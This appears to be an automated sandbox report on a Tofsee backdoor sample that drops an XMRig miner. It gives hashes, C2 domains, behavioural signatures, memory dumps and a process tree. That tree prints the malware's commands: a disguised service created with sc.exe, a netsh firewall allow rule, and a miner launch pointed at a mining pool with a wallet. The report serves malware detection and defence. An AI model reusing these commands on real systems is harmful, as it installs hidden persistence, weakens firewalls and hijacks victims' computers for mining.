Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    06-06-2022 14:07

General

  • Target

    448738e5f3bd240eea78408b4a700295.exe

  • Size

    263KB

  • MD5

    448738e5f3bd240eea78408b4a700295

  • SHA1

    a5f673e08480399fc8b714ca5384c64f9efa85e4

  • SHA256

    27a1d52df4f2a964e70b9c36b5e08a18589463a44a828ab88cf67c44ba8ec82e

  • SHA512

    7c94cf9f2d004fa20cf3e3f5769e80d50d82fa485bbdf24a73f434ecfa827f1757e67357407df5228aa1437bca6258b82a3e1944549ae644cf3bc60a76bd3a14

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\448738e5f3bd240eea78408b4a700295.exe
    "C:\Users\Admin\AppData\Local\Temp\448738e5f3bd240eea78408b4a700295.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1396
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jryhxqyd\
      2⤵
        PID:1944
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qricpvdg.exe" C:\Windows\SysWOW64\jryhxqyd\
        2⤵
          PID:1724
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jryhxqyd binPath= "C:\Windows\SysWOW64\jryhxqyd\qricpvdg.exe /d\"C:\Users\Admin\AppData\Local\Temp\448738e5f3bd240eea78408b4a700295.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3540
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jryhxqyd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1644
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jryhxqyd
          2⤵
          • Launches sc.exe
          PID:3484
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4616
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1396 -s 596
          2⤵
          • Program crash
          PID:2316
      • C:\Windows\SysWOW64\jryhxqyd\qricpvdg.exe
        C:\Windows\SysWOW64\jryhxqyd\qricpvdg.exe /d"C:\Users\Admin\AppData\Local\Temp\448738e5f3bd240eea78408b4a700295.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4656
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3148
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1160
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4656 -s 508
          2⤵
          • Program crash
          PID:1272
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1396 -ip 1396
        1⤵
          PID:1512
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4656 -ip 4656
          1⤵
            PID:3404

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\qricpvdg.exe

            Filesize

            14.3MB

            MD5

            31f5e1e5abe4e70b131dde2b0ca98fb9

            SHA1

            5e40a29139533a8c5c77cce73686e4cd51740ce4

            SHA256

            3f892da7ff8746edf77a73d79f7e9e1068de01672df4387ef2334b65116e3de7

            SHA512

            d9b4ec691a5d6b5c3e390c771d67753e47ec85064a2b5d67a15449bf60a6d822170a024abe0738dd11844b037532d2138f59498ee01d3b47a82ebddd7d2f2b54

          • C:\Windows\SysWOW64\jryhxqyd\qricpvdg.exe

            Filesize

            14.3MB

            MD5

            31f5e1e5abe4e70b131dde2b0ca98fb9

            SHA1

            5e40a29139533a8c5c77cce73686e4cd51740ce4

            SHA256

            3f892da7ff8746edf77a73d79f7e9e1068de01672df4387ef2334b65116e3de7

            SHA512

            d9b4ec691a5d6b5c3e390c771d67753e47ec85064a2b5d67a15449bf60a6d822170a024abe0738dd11844b037532d2138f59498ee01d3b47a82ebddd7d2f2b54

          • memory/1160-173-0x0000000001070000-0x0000000001161000-memory.dmp

            Filesize

            964KB

          • memory/1160-168-0x0000000001070000-0x0000000001161000-memory.dmp

            Filesize

            964KB

          • memory/1160-167-0x0000000000000000-mapping.dmp

          • memory/1396-130-0x0000000003062000-0x0000000003072000-memory.dmp

            Filesize

            64KB

          • memory/1396-131-0x0000000002F60000-0x0000000002F73000-memory.dmp

            Filesize

            76KB

          • memory/1396-132-0x0000000000400000-0x0000000002DB9000-memory.dmp

            Filesize

            41.7MB

          • memory/1396-141-0x0000000000400000-0x0000000002DB9000-memory.dmp

            Filesize

            41.7MB

          • memory/1644-137-0x0000000000000000-mapping.dmp

          • memory/1724-134-0x0000000000000000-mapping.dmp

          • memory/1944-133-0x0000000000000000-mapping.dmp

          • memory/3148-161-0x0000000007600000-0x0000000007A0B000-memory.dmp

            Filesize

            4.0MB

          • memory/3148-155-0x0000000001DF0000-0x0000000001E00000-memory.dmp

            Filesize

            64KB

          • memory/3148-175-0x0000000000860000-0x0000000000875000-memory.dmp

            Filesize

            84KB

          • memory/3148-164-0x0000000002BE0000-0x0000000002BE7000-memory.dmp

            Filesize

            28KB

          • memory/3148-148-0x0000000000860000-0x0000000000875000-memory.dmp

            Filesize

            84KB

          • memory/3148-149-0x0000000002600000-0x000000000280F000-memory.dmp

            Filesize

            2.1MB

          • memory/3148-152-0x0000000001DE0000-0x0000000001DE6000-memory.dmp

            Filesize

            24KB

          • memory/3148-143-0x0000000000860000-0x0000000000875000-memory.dmp

            Filesize

            84KB

          • memory/3148-158-0x0000000002BD0000-0x0000000002BD5000-memory.dmp

            Filesize

            20KB

          • memory/3148-142-0x0000000000000000-mapping.dmp

          • memory/3484-138-0x0000000000000000-mapping.dmp

          • memory/3540-136-0x0000000000000000-mapping.dmp

          • memory/4616-139-0x0000000000000000-mapping.dmp

          • memory/4656-147-0x0000000000400000-0x0000000002DB9000-memory.dmp

            Filesize

            41.7MB

          • memory/4656-174-0x0000000000400000-0x0000000002DB9000-memory.dmp

            Filesize

            41.7MB

          • memory/4656-146-0x000000000316E000-0x000000000317E000-memory.dmp

            Filesize

            64KB